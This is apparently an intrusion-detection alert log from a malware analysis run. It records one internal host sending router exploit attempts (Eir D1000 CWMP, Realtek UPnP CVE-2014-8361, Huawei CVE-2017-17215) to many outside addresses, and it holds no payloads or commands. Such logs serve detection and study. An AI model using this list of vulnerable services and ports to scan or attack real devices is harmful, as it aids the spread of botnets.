ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 186.5.109.228

Timestamp:	04/15/24-08:53:29.171519
SID:	2025576
Source Port:	46762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.65.91.68

Timestamp:	04/15/24-08:53:41.049504
SID:	2027339
Source Port:	56352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.189.46.200

Timestamp:	04/15/24-08:52:44.931992
SID:	2023548
Source Port:	56238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 45.200.76.196

Timestamp:	04/15/24-08:53:56.800368
SID:	2025132
Source Port:	56064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 41.100.72.58

Timestamp:	04/15/24-08:53:00.887681
SID:	2023548
Source Port:	38420
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.6.161.225

Timestamp:	04/15/24-08:53:42.980622
SID:	2023548
Source Port:	51908
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 85.216.176.48

Timestamp:	04/15/24-08:52:45.656072
SID:	2023548
Source Port:	56028
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.54.100.108

Timestamp:	04/15/24-08:52:52.397303
SID:	2023548
Source Port:	54902
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.85.144.217

Timestamp:	04/15/24-08:53:58.947459
SID:	2023548
Source Port:	39024
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 90.218.1.8

Timestamp:	04/15/24-08:52:15.576577
SID:	2025576
Source Port:	53078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.34.112.81

Timestamp:	04/15/24-08:53:17.922295
SID:	2023548
Source Port:	48600
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 182.16.188.82

Timestamp:	04/15/24-08:53:07.479921
SID:	2027339
Source Port:	56254
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.176.153

Timestamp:	04/15/24-08:53:48.852269
SID:	2023548
Source Port:	43008
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.74.199.127

Timestamp:	04/15/24-08:52:32.210614
SID:	2023548
Source Port:	55424
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 207.154.223.94

Timestamp:	04/15/24-08:52:40.148485
SID:	2025576
Source Port:	54480
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.87.177.239

Timestamp:	04/15/24-08:52:44.575406
SID:	2023548
Source Port:	37696
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.177.57.5

Timestamp:	04/15/24-08:53:06.082147
SID:	2023548
Source Port:	59716
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 103.87.141.213

Timestamp:	04/15/24-08:53:16.477470
SID:	2025576
Source Port:	58090
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.147.219.158

Timestamp:	04/15/24-08:53:37.722885
SID:	2023548
Source Port:	45450
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.141.82.82

Timestamp:	04/15/24-08:52:59.611328
SID:	2027339
Source Port:	56248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 89.147.161.158

Timestamp:	04/15/24-08:52:31.624849
SID:	2023548
Source Port:	60462
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 119.213.83.228

Timestamp:	04/15/24-08:53:10.439677
SID:	2023548
Source Port:	40902
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.120.242.86

Timestamp:	04/15/24-08:52:51.292874
SID:	2023548
Source Port:	47140
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 179.94.4.53

Timestamp:	04/15/24-08:53:42.163452
SID:	2023548
Source Port:	44260
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 120.88.138.155

Timestamp:	04/15/24-08:52:31.163779
SID:	2023548
Source Port:	40264
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.167.43.27

Timestamp:	04/15/24-08:52:29.534627
SID:	2023548
Source Port:	60928
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 109.36.156.187

Timestamp:	04/15/24-08:53:20.157221
SID:	2025132
Source Port:	46332
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 148.66.55.22

Timestamp:	04/15/24-08:53:34.764663
SID:	2025576
Source Port:	45468
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.255.15.7

Timestamp:	04/15/24-08:52:28.880590
SID:	2023548
Source Port:	40290
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.52.223.137

Timestamp:	04/15/24-08:52:49.696478
SID:	2023548
Source Port:	59320
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 220.255.233.240

Timestamp:	04/15/24-08:52:13.870740
SID:	2023548
Source Port:	57706
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 82.129.104.186

Timestamp:	04/15/24-08:53:22.089955
SID:	2025576
Source Port:	60194
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 18.154.1.149

Timestamp:	04/15/24-08:53:16.697829
SID:	2025576
Source Port:	46796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 66.181.175.226

Timestamp:	04/15/24-08:53:49.442039
SID:	2025576
Source Port:	37732
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.150.239.182

Timestamp:	04/15/24-08:53:14.766302
SID:	2023548
Source Port:	48844
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.136.253.47

Timestamp:	04/15/24-08:53:29.822080
SID:	2027339
Source Port:	53018
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 148.0.28.146

Timestamp:	04/15/24-08:52:23.693432
SID:	2025576
Source Port:	33026
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.7.120.56

Timestamp:	04/15/24-08:53:27.864718
SID:	2023548
Source Port:	50292
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.164.67.9

Timestamp:	04/15/24-08:53:12.710571
SID:	2023548
Source Port:	58346
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.198.48.210

Timestamp:	04/15/24-08:52:55.753957
SID:	2023548
Source Port:	41788
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.94.203.30

Timestamp:	04/15/24-08:53:51.118479
SID:	2023548
Source Port:	32886
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.38.92.211

Timestamp:	04/15/24-08:53:25.166354
SID:	2023548
Source Port:	45540
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 179.94.4.53

Timestamp:	04/15/24-08:53:43.494439
SID:	2023548
Source Port:	44276
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 162.19.230.211

Timestamp:	04/15/24-08:52:29.478672
SID:	2025576
Source Port:	42716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 31.136.253.47

Timestamp:	04/15/24-08:53:30.146250
SID:	2831300
Source Port:	53100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.251.198.135

Timestamp:	04/15/24-08:53:30.898142
SID:	2023548
Source Port:	45126
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 79.97.251.1

Timestamp:	04/15/24-08:53:51.097168
SID:	2023548
Source Port:	51392
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 45.171.26.148

Timestamp:	04/15/24-08:52:23.275654
SID:	2025576
Source Port:	47698
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 50.103.64.100

Timestamp:	04/15/24-08:52:13.126231
SID:	2023548
Source Port:	55860
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.32.29.9

Timestamp:	04/15/24-08:52:45.385133
SID:	2023548
Source Port:	38750
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 218.146.232.66

Timestamp:	04/15/24-08:52:26.759509
SID:	2023548
Source Port:	38878
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.52.71.152

Timestamp:	04/15/24-08:53:22.151484
SID:	2023548
Source Port:	44946
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.208.51.177

Timestamp:	04/15/24-08:53:31.235358
SID:	2023548
Source Port:	36454
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.190.36.35

Timestamp:	04/15/24-08:53:54.006080
SID:	2023548
Source Port:	40840
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.120.212.86

Timestamp:	04/15/24-08:53:21.623646
SID:	2023548
Source Port:	33548
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.48.143.68

Timestamp:	04/15/24-08:53:41.204392
SID:	2025576
Source Port:	54282
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 189.124.222.175

Timestamp:	04/15/24-08:52:55.103620
SID:	2023548
Source Port:	42434
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 61.76.227.58

Timestamp:	04/15/24-08:52:57.048645
SID:	2023548
Source Port:	51180
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.208.224.85

Timestamp:	04/15/24-08:53:56.330534
SID:	2023548
Source Port:	52162
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 86.222.239.25

Timestamp:	04/15/24-08:53:41.909549
SID:	2025576
Source Port:	36978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 31.136.253.47

Timestamp:	04/15/24-08:53:29.822080
SID:	2025132
Source Port:	53018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.34.209.182

Timestamp:	04/15/24-08:53:27.123669
SID:	2025576
Source Port:	54130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 117.185.238.12

Timestamp:	04/15/24-08:53:16.735889
SID:	2025576
Source Port:	52622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.170.221.173

Timestamp:	04/15/24-08:53:49.127560
SID:	2023548
Source Port:	59414
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.52.223.137

Timestamp:	04/15/24-08:52:49.425550
SID:	2023548
Source Port:	59294
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 192.155.187.174

Timestamp:	04/15/24-08:52:53.623616
SID:	2025576
Source Port:	46106
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 109.36.156.187

Timestamp:	04/15/24-08:53:20.157221
SID:	2027339
Source Port:	46332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.198.48.210

Timestamp:	04/15/24-08:52:55.983527
SID:	2023548
Source Port:	41850
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.30.207.184

Timestamp:	04/15/24-08:53:56.052924
SID:	2023548
Source Port:	54388
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.208.108.1

Timestamp:	04/15/24-08:52:56.138393
SID:	2027339
Source Port:	37412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 97.108.139.103

Timestamp:	04/15/24-08:53:01.707210
SID:	2023548
Source Port:	56084
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.237.58.152

Timestamp:	04/15/24-08:53:42.857962
SID:	2023548
Source Port:	43202
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.56.61.19

Timestamp:	04/15/24-08:53:37.747523
SID:	2023548
Source Port:	53552
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 213.243.46.192

Timestamp:	04/15/24-08:52:37.701100
SID:	2829579
Source Port:	40366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.170.154.250

Timestamp:	04/15/24-08:52:26.476562
SID:	2023548
Source Port:	48506
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 1.140.19.46

Timestamp:	04/15/24-08:53:21.582379
SID:	2023548
Source Port:	59718
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.115.182.36

Timestamp:	04/15/24-08:53:31.779514
SID:	2023548
Source Port:	60104
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.77.48.238

Timestamp:	04/15/24-08:52:41.923802
SID:	2023548
Source Port:	59224
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 58.146.66.66

Timestamp:	04/15/24-08:53:50.031139
SID:	2023548
Source Port:	36858
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 81.151.235.54

Timestamp:	04/15/24-08:52:13.918861
SID:	2023548
Source Port:	49754
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 52.79.99.246

Timestamp:	04/15/24-08:53:16.939008
SID:	2025576
Source Port:	52706
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.43.226.5

Timestamp:	04/15/24-08:52:36.365070
SID:	2023548
Source Port:	36250
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.5.18

Timestamp:	04/15/24-08:53:32.794814
SID:	2023548
Source Port:	43102
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.45.126.149

Timestamp:	04/15/24-08:53:31.191215
SID:	2023548
Source Port:	55238
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.164.242.11

Timestamp:	04/15/24-08:52:22.979415
SID:	2023548
Source Port:	45224
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.167.49.14

Timestamp:	04/15/24-08:53:49.473192
SID:	2023548
Source Port:	33456
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.167.10.129

Timestamp:	04/15/24-08:53:41.668186
SID:	2023548
Source Port:	33216
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 134.16.79.133

Timestamp:	04/15/24-08:52:31.150723
SID:	2023548
Source Port:	41780
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.22.238.162

Timestamp:	04/15/24-08:53:41.831881
SID:	2023548
Source Port:	42424
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.212.64.32

Timestamp:	04/15/24-08:53:55.834910
SID:	2025576
Source Port:	51768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.122.143.163

Timestamp:	04/15/24-08:53:25.185885
SID:	2023548
Source Port:	49224
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.132.218.129

Timestamp:	04/15/24-08:52:42.992910
SID:	2023548
Source Port:	36190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 119.91.25.34

Timestamp:	04/15/24-08:53:35.085248
SID:	2025576
Source Port:	55356
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 162.253.102.7

Timestamp:	04/15/24-08:52:28.344817
SID:	2023548
Source Port:	43418
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 181.214.210.209

Timestamp:	04/15/24-08:53:15.068357
SID:	2025576
Source Port:	37370
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.100.141.119

Timestamp:	04/15/24-08:53:59.555446
SID:	2023548
Source Port:	40112
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 35.141.47.175

Timestamp:	04/15/24-08:53:01.691056
SID:	2023548
Source Port:	59376
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 139.192.170.56

Timestamp:	04/15/24-08:53:51.473488
SID:	2023548
Source Port:	46448
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 95.31.153.220

Timestamp:	04/15/24-08:52:57.119365
SID:	2023548
Source Port:	60610
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 5.167.250.53

Timestamp:	04/15/24-08:53:25.993768
SID:	2023548
Source Port:	55582
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.250.57.104

Timestamp:	04/15/24-08:52:35.477535
SID:	2023548
Source Port:	40794
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 213.243.25.244

Timestamp:	04/15/24-08:53:05.416335
SID:	2023548
Source Port:	48712
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 34.43.81.131

Timestamp:	04/15/24-08:53:27.857247
SID:	2835222
Source Port:	54258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 111.207.123.23

Timestamp:	04/15/24-08:53:37.470116
SID:	2023548
Source Port:	51602
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 62.101.46.172

Timestamp:	04/15/24-08:53:02.788224
SID:	2025576
Source Port:	50612
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.45.106.253

Timestamp:	04/15/24-08:53:54.208866
SID:	2023548
Source Port:	36314
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 95.14.124.70

Timestamp:	04/15/24-08:53:57.614165
SID:	2027339
Source Port:	46560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 34.117.243.93

Timestamp:	04/15/24-08:53:48.845571
SID:	2023548
Source Port:	51992
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

